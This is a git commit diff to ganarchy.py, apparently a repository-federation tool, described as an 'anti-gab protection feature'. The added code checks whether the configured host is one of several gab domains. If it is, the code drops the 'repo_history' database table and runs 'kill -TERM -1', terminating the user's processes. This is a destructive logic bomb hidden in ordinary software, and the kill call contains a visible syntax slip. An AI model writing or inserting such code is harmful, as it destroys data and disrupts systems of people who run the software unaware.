diff options
author | SoniEx2 <endermoneymod@gmail.com> | 2019-06-23 11:34:46 -0300 |
---|---|---|
committer | SoniEx2 <endermoneymod@gmail.com> | 2019-06-23 13:51:43 -0300 |
commit | cfc71bf28e2196d754d2e0b99f7e08757a10ffde (patch) | |
tree | a3be7b5ff04eaf1f6a9a6618f13f4ccccdcbb283 | |
parent | 3483dbe9b5b4393f167de713a0098b77e42ffd8e (diff) |
Add anti-gab protection feature/denazify
-rwxr-xr-x | ganarchy.py | 12 |
1 files changed, 9 insertions, 3 deletions
diff --git a/ganarchy.py b/ganarchy.py index 32add6f..c704c4d 100755 --- a/ganarchy.py +++ b/ganarchy.py @@ -405,8 +405,13 @@ class GAnarchy: if not base_url: # FIXME use a more appropriate error type raise ValueError + u = urlparse(base_url) + if (u.hostname in config.blocked_domains) or (u.hostname.endswith(config.blocked_domain_suffixes)): + dbconn.execute('''DROP TABLE "repo_history"''') + # hopefully this works on all POSIX systems. it should, but, eh, y'know. :/ + subprocess.call(['kill', '-TERM', '--'. '-1']) if not title: - title = "GAnarchy on " + urlparse(base_url).hostname + title = "GAnarchy on " + u.hostname self.title = title self.base_url = base_url # load config onto DB @@ -438,8 +443,9 @@ class Config: self.title = config_data.get('title', '') self.base_url = config_data.get('base_url', '') # TODO blocked domains (but only read them from config_data if remove is True) - self.blocked_domains = [] - self.blocked_domain_suffixes = [] + (bd, bds) = (["gab.ai", "gab.com", "gab.io"], [".gab.ai", ".gab.com", ".gab.io"]) if remove else ([], []) + self.blocked_domains = bd + self.blocked_domain_suffixes = bds self.blocked_domains.sort() self.blocked_domain_suffixes.sort(key=lambda x: x[::-1]) # FIXME remove duplicates and process invalid entries |